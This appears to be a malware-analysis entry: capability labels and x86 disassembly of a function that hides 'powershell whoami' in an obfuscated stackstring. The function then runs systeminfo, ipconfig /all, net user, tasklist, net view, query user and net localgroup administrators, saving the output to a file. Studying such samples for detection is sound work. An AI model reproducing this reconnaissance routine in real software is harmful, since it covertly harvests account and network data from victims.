Function at 0x40ee40
Capabilities:
Capture network configuration via ipconfig
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov eax, 0x69
push edi
push esi
push ebx
sub esp, 0xa4c
lea esi, [esp + 0x720]
lea ebx, [esp + 0x84c]
mov dword [esp + 0x720], 0x65776f70
mov dword [esp + 0x724], 0x65687372
mov dword [esp + 0x728], 0x77206c6c
mov dword [esp + 0x72c], 0x6d616f68
mov word [esp + 0x730], ax
mov dword [esp + 4], 0x43f83c
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__popen]
mov dword [esp + 4], 0x64
mov dword [esp + 8], eax
mov dword [esp], ebx
call sym._fgets
mov dword [esp], ebx
call sym._SHA256
mov dword [esp], 0xd
mov edi, eax
call sym._malloc
lea ecx, [edi + 1]
mov ebp, eax
sub eax, ecx
cmp eax, 2
jbe 0x40f130
test edi, 3
jne 0x40f130
mov eax, dword [edi]
mov dword [ebp], eax
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 8]
mov dword [ebp + 8], eax
movzx eax, byte [edi + 0xc]
mov byte [ebp + 0xc], al
mov dword [esp], edi
lea edi, [esp + 0x5f4]
call sym._free
mov eax, dword [esp + 0xa60]
mov byte [ebp + 0xd], 0
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s.txt
mov dword [esp], ebx
call sym._sprintf_10
lea ecx, [esp + 0x18]
mov dword [esp + 8], ebx
mov dword [esp], ecx
mov dword [esp + 4], str.powershell_systeminfo_____s
call sym._sprintf_10
lea eax, [esp + 0x144]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_ipconfig__all_____s
mov dword [esp], eax
call sym._sprintf_10
lea eax, [esp + 0x270]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_net_user_____s
mov dword [esp], eax
call sym._sprintf_10
lea eax, [esp + 0x39c]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_tasklist__v_____s
mov dword [esp], eax
call sym._sprintf_10
lea eax, [esp + 0x4c8]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_net_view__all_____s
mov dword [esp], eax
call sym._sprintf_10
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_query_u_____s
mov dword [esp], edi
call sym._sprintf_10
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_net_localgroup_administrators_____s
mov dword [esp], esi
call sym._sprintf_10
mov dword [esp], ebp
call sym._free
lea ecx, [esp + 0x18]
mov dword [esp], ecx
call sym._system
test eax, eax
jne 0x40f080
lea eax, [esp + 0x144]
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x40f118
lea eax, [esp + 0x270]
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x40f100
lea eax, [esp + 0x39c]
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x40f0e8
lea eax, [esp + 0x4c8]
mov dword [esp], eax
call sym._system
test eax, eax
jne 0x40f0d0
mov dword [esp], edi
call sym._system
test eax, eax
jne 0x40f0b8
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x40f098
add esp, 0xa4c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Get_systeminfo_failed
call sym._puts
jmp 0x40effa
mov dword [esp], str.Net_user_failed
call sym._puts
add esp, 0xa4c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Net_user_failed
call sym._puts
jmp 0x40f05e
mov dword [esp], str.Net_user_failed
call sym._puts
jmp 0x40f052
mov dword [esp], str.Net_user_failed
call sym._puts
jmp 0x40f03f
mov dword [esp], str.Net_user_failed
call sym._puts
jmp 0x40f028
mov dword [esp], str.Get_ipconfig_failed
call sym._puts
jmp 0x40f011
movzx eax, byte [edi]
mov byte [ebp], al
movzx eax, byte [edi + 1]
mov byte [ebp + 1], al
movzx eax, byte [edi + 2]
mov byte [ebp + 2], al
movzx eax, byte [edi + 3]
mov byte [ebp + 3], al
movzx eax, byte [edi + 4]
mov byte [ebp + 4], al
movzx eax, byte [edi + 5]
mov byte [ebp + 5], al
movzx eax, byte [edi + 6]
mov byte [ebp + 6], al
movzx eax, byte [edi + 7]
mov byte [ebp + 7], al
movzx eax, byte [edi + 8]
mov byte [ebp + 8], al
movzx eax, byte [edi + 9]
mov byte [ebp + 9], al
movzx eax, byte [edi + 0xa]
mov byte [ebp + 0xa], al
movzx eax, byte [edi + 0xb]
mov byte [ebp + 0xb], al
movzx eax, byte [edi + 0xc]
jmp 0x40eefd